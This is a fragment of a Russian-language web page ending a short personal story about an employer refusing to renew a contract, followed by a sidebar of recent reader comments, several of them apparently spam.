За месяц до истечения контракта я спросил будем делать?. И получил ответ нет не будем, нет денег, делай всё что можно бесплатно, потом посмотрим.

В общем, через месяц я уволился.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru